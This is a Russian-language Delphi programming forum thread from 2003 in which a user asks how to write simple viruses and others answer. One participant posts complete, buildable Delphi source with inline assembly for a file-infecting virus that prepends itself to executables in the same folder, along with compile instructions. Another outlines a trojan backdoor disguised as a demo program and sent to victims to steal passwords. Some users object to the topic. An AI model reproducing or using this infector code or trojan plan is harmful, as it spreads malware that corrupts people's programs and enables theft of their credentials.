Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: Общие вопросы > Вирусы...


Автор: Pakshin A. S. 13.7.2003, 18:51
Есть ли где учебник в Internete по написанию простейших вирусов cool.gif на Delphi, конечно если такое возможно? Хочется по мимо всего владеть и этим... biggrin.gif

Автор: &-ray 13.7.2003, 19:09
Какие-то подозрительные у тебя наклонности biggrin.gif

Автор: Pakshin A. S. 13.7.2003, 19:15
Я же сказал, что хочу знать как всё енто работает. Тем более мой одноклассник пишет вирусы на Бейсике, я то же зочу писать, только на Delphi, и только ради ознакомления и домашнего пользования.

Автор: PostEr 13.7.2003, 19:16
Смаря что под вирусами понимать. Если всякие нюки\кейлогеры\мэйлбомберы\снифферы - то это элементарно на делфи. А сами вирусы не имеет смысла писать на делфи. Т.к. конечный продукт делфи - боьлшие екзешники. Для написания вирусов надо - c++ + asm.

Доков нигде не видел

Автор: &-ray 13.7.2003, 19:34
Цитата
Т.к. конечный продукт делфи - боьлшие екзешники.

это при использовании VCL
Цитата
Я же сказал, что хочу знать как всё енто работает. Тем более мой одноклассник пишет вирусы на Бейсике,

Вот у него и возьми исходники и посмотри как все устроено, а потом переведи на паскаль

Автор: Pakshin A. S. 13.7.2003, 19:39
Я в Бейсике полный нуль!

Автор: &-ray 13.7.2003, 19:55
Ну значит надо разбирать вместе с ним. Он на пальцах объясняет, что делает данная функция, а ты делаешь аналог на паскале biggrin.gif

Автор: Pakshin A. S. 13.7.2003, 19:58
Ну, тогда буду 1-ого сентября просить у него исходник, а может кто-нибудь здеся свой предложитconfused.gif

Автор: &-ray 13.7.2003, 20:07
Вирус - программный код, встраиваемый в екзешники.
При запуске инфицированной программы сначала выполняется этот код, который как правило делает что-то гадкое, а затем передает управление самой программе. По-моему типа так, но в этом я тоже не рулю, так что дальше врать не буду.

Автор: Shuricksoft 13.7.2003, 22:07
А действительно: что ты понимаешь под вирусами? Я, например, писал на Дельфях прогу, котора искала файлы по определённым параметрам и посылала их на нужное мыло (плюс несколько фич для более эффективного использования). Также писал прогу, удаляющую системные файлы. Это тоже, в принципе, вирусы (хоть и простейшие), но они не приписывали себя к другим файлам. Этому я тоже хочу научиться =)
Кстати, у меня где-то дока была по вирусам (правда, по-моему, на ассемблере). Если найду - скину.

Автор: stab 13.7.2003, 23:18
http://sbvc.host.sk/

вот есть инфа, тока на дельфи тама мржет и нет smile.gif

Автор: p0s0l 14.7.2003, 00:44
Привожу листинг наипростейшего и наитупейшего "вируса" (в кавычках) на Delphi.
Он даже не изменяет точку входа в инфицируемую программу, а просто приписывается вначало файла.
Да и не сколько себя не скрывает, даже создает временный файл. Но кто ни разу не видел кишок
вирусов может начать с этого.
Суть:
1) При запуске зараженного файла вирь ищет жертву в этом же каталоге.
Ищет он перебором всех не скрытых ехе-файлов (и притом не зараженных). Первый незараженный
файл и становится жертвой.
2) К этому файлу в начало приписывается тело вируса (размер файла увеличится на 360 кб)
3) Юзеру это сообщается
4) Создается скрытый ехе-файл, в который пишется тело программы, которая была запущено
(т.е. тело вируса обрезается)
5) Этот скрытый ехе-файл запускается

Как это заставить работать ?
1) Этот текст надо записать как .dpr (проект дельфи).
2) Открыть этот проект и компилировать
3) Посмотреть длину получившегося ехе-файла и прописать эту длину в const virSize
4) В каталог проекта засунуть пару ехе-файлов для теста
5) Теперь можно запускать

Код

program Project2;
uses Windows, Forms, ShellApi, SysUtils;
const virSize = 367104;  // !!! размер этого экзешника !!!
var
 h : THandle;
 buf, vir, prg : pointer;
 fsize, tmp : DWORD;
 tmpName : string;
 sr : TSearchRec;
 Infested : boolean;
begin
// читаем запущенный инфицированный файл и выдираем из него саму программу и тело "вируса"
 h := CreateFile (PChar(Application.ExeName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
 fsize := GetFileSize(h, @tmp) - virSize; // размер программы-размер вируса
 GetMem(buf, fsize);
 GetMem(vir, virSize);
 tmp := 0;
 ReadFile (h, vir^, virSize, tmp, nil); // читаем "вирус"
 ReadFile (h, buf^, fsize, tmp, nil);   // читаем программу
 CloseHandle (h);
// поиск жертвы (все exe-файлы, но не скрытые)
 if FindFirst ('*.exe', faAnyFile-faHidden, sr) = 0 then
 begin
   repeat
     // читаем очередной .exe в память
     h := CreateFile (PChar(sr.Name), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
     if h = 0 then continue; // если облом при открытии файла, то проверяем следующий
     GetMem (prg, sr.Size);
     ReadFile (h, prg^, sr.Size, tmp, nil);
     CloseHandle (h);
     Infested := false;
     if sr.Size >= virSize then
     // сравниваем начало считанного файла с телом "вируса"
       asm // на паскале это выглядело бы коряво
         pushad
         mov esi, [prg]
         mov edi, [vir]
         mov ecx, (virSize/4)
         cld
         repe cmpsd
         jne @end
         inc byte ptr [Infested]
       @end:
         popad
       end;
     if Infested then // если файл уже заражен, то освобождаем память
     begin
       FreeMem(prg);
       continue;      // и идем на проверку следующего файла
     end;
     // щас надо заразить жертву
     h := CreateFile (PChar(sr.Name), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
     WriteFile (h, vir^, virSize, tmp, nil); // пишем тело "вируса"
     WriteFile (h, prg^, sr.Size, tmp, nil); // пишем тело жертвы
     CloseHandle(h);
     FreeMem (prg);
     MessageBox (0, PChar('Инфицирован: ' + sr.Name), '"Virus"', MB_ICONINFORMATION+MB_TASKMODAL);
     Break;
   until FindNext(sr) <> 0;
   FindClose(sr);
 end;
 FreeMem (vir);
// пишем исходный файл (без "вируса")
 tmpName := PChar(Application.ExeName+'.exe');
 h := CreateFile (PChar(tmpName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0);
 tmp := 0;
 WriteFile (h, buf^, fsize, tmp, nil);
 CloseHandle (h);
 FreeMem(buf);
// запускаем исходный файл
 ShellExecute(0, 'open', PChar(tmpName), nil, nil, SW_SHOWNORMAL);
end.



Так что не обессудьте - я писал его специально для примера на дельфи.

Автор: p0s0l 14.7.2003, 12:13
Можно убрать из uses модуль Forms и вместо Application.ExeName использовать paramStr(0).
Тогда размер файла уменьшается на 300 кб. У меня он весит 40кб.

Размер охеренный. Но это ведь Delphi...

Автор: Step 14.7.2003, 12:17
в любом случае надо учить асм.

Автор: PostEr 14.7.2003, 14:10
40 кб - это до х...на. Смысл весь вируса в том, что свой код (несколько десятков машинных команд), он внедряет в файлы (запускные скажем). А сам код устроен так, что он плодится.

Можно "вирус" крутой сделать, по-круче всяких там кейлогеров - пиши мне на мыло - расскажу как ;)

Автор: Step 14.7.2003, 14:43
PostEr выкладывай сюда...

Автор: PostEr 14.7.2003, 18:57
Я вообще-то это не реализовывал, но к этому стремлюсь - поэтому и тему для обсуждения создал "Сервер на msvc".

Так вот. Для 95\98\me и whistler этот метод должен работать стопудово %)

Берем и пишем две проги - клиент и сервер. Сервер закидываем каким-либо образом жертве (ну как всякие кейлогеры кидают, в общем для лохов), ну типа: смари какую хрень я напрогал под опенгл, а сам кидаешь "метаморфозы" с ещё парочкой полезных фич %)

С клиента происходит управление - клиент передаёт командЫ, а сервер производит выполнение различных процедур. Ну типа скажем "удалить", "переместить", "открыть", "посмотреть".

С помощью такой проги можно будет тырить пароли очень эффективно smile.gif Только проблема в том, что в сетевых ОС такую вещь скорее придётся пускать в режиме демона. Но это ещё не проверено....

В общем, дерзайте %-)

Автор: stab 18.7.2003, 11:47
PostEr угу, тока вся эта красота отрубается или вычисляется обычным файрволом smile.gif

Автор: altarasjuk 20.7.2003, 13:55
Народ, гнилую какую-то тему затеяли. Вам что нечем больше заняться, как пакости кому-то дулать. Не ужели никто из вас не страдал от вирусов?confused.gif

Я думаю надо всё же закрыть эту гнилую тему.

Автор: Pakshin A. S. 20.7.2003, 20:32
Если человек нормален, то он не будеть делать гадость другому, а если наоборот, то он всё-равно рано или поздно найдёт то, что ищет, здесь или ещё где-нибудь...

Автор: PostEr 21.7.2003, 18:40
А про файр волы ты зря!!!!!! Можно найти пару ламаков, которые бы эту заразу сами распространили и принесли паааааално полезной инфы %) А как насчёт того, чтобы использовать открытые порты?

Автор: &-ray 21.7.2003, 19:21
Цитата
Если человек нормален, то он не будеть делать гадость другому, а если наоборот, то он всё-равно рано или поздно найдёт то, что ищет, здесь или ещё где-нибудь...

Все же лучше, если таких ресурсов будет хоть на один да меньше.

Автор: altarasjuk 21.7.2003, 22:42
Цитата
Все же лучше, если таких ресурсов будет хоть на один да меньше.
Согласен. Если бы все закрывали подобного рода инфу, то было бы меньше желающих искать такую инфу.

Автор: PostEr 22.7.2003, 14:58
а если ему надо он всё равно найдёт

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)